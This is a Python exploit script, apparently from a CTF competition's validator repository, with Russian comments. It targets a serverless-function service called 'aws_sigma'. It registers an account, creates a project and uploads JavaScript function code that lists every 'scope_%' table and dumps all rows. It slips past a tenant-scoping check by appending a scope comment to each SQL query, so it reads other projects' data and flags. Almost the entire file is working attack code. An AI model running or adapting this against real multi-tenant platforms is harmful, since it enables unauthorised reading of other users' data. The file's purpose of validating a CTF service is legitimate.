Files
validator/ctfcup2025-school-final/sploits/aws_sigma/02_func_access_db.py

142 lines
3.9 KiB
Python

# Эксплойт основан на возможности обращения к базе данных из
# кода пользовательской функции (и недостаточной проверки запроса).
#
# Он позволяет прочитать записи в базе, созданные функциями других
# проектов, включая созданные чекером (и содержащие флаги).
import sys
import uuid
import requests
HOST = sys.argv[1]
PORT = 3000
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
FUNCTION_CODE = r"""
(async () => {
const match = req.path.match(/\/exec\/([^/]+)/i);
if (!match) {
res.setStatus(500).send("Unable to detect project slug");
return;
}
const currentScope = `scope_${match[1]}`;
const scopeHint = `/* ${currentScope} */`;
const tables = await sql.query(`
SELECT
t.table_name
FROM information_schema.tables AS t
JOIN pg_catalog.pg_class AS cls
ON cls.relname = t.table_name
WHERE t.table_schema = 'public'
AND t.table_name LIKE 'scope_%'
ORDER BY cls.oid DESC
LIMIT 500
${scopeHint}
`);
const dump = [];
for (const row of tables || []) {
const table = row.table_name;
const creationOrder = row.creation_oid;
if (!table) continue;
try {
const rows = await sql.query(
`SELECT * FROM "${table}" ORDER BY id DESC ${scopeHint}`
);
dump.push({ table, creationOrder, rows });
} catch (error) {
dump.push({ table, creationOrder, error: String(error) });
}
}
res.json(dump);
})();
"""
def make_id(prefix):
return f"{prefix}-{uuid.uuid4().hex[:8]}"
def main():
session = requests.Session()
username = make_id("user")
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
print(f"[*] Registering user {username}")
response = session.post(
f"{BASE_URL}/users",
json={"username": username, "password": password},
)
response.raise_for_status()
print("[*] Logging in")
response = session.post(
f"{BASE_URL}/auth/login",
data={"username": username, "password": password},
)
response.raise_for_status()
login_response = response.json()
token = login_response.get("auth_token")
if not token:
raise RuntimeError("Login response missing auth_token field")
headers = {"Authorization": f"Bearer {token}"}
slug = make_id("proj")
project_name = f"Project {slug}"
description = "Kekpek"
print(f"[*] Creating project {project_name} ({slug})")
response = session.post(
f"{BASE_URL}/projects",
headers=headers,
json={"name": project_name, "slug": slug, "description": description},
)
response.raise_for_status()
project_response = response.json()
project_id = project_response.get("_id") or project_response.get("id")
project_slug = project_response.get("slug") or slug
print("[*] Creating function /sploit")
response = session.post(
f"{BASE_URL}/projects/{project_id}/functions",
headers=headers,
json={"name": "Sploit", "path": "/sploit"},
)
response.raise_for_status()
function_response = response.json()
function_id = function_response.get("_id") or function_response.get("id")
print("[*] Uploading custom code")
response = session.put(
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
headers=headers,
json={"code": FUNCTION_CODE, "methods": ["GET"]},
)
response.raise_for_status()
response = requests.get(
f"{BASE_URL}/exec/{project_slug}/sploit",
)
print(f"[+] Execution HTTP {response.status_code}")
body = response.text.strip()
if not body:
print("[!] Empty body received")
return
print(body)
if __name__ == "__main__":
main()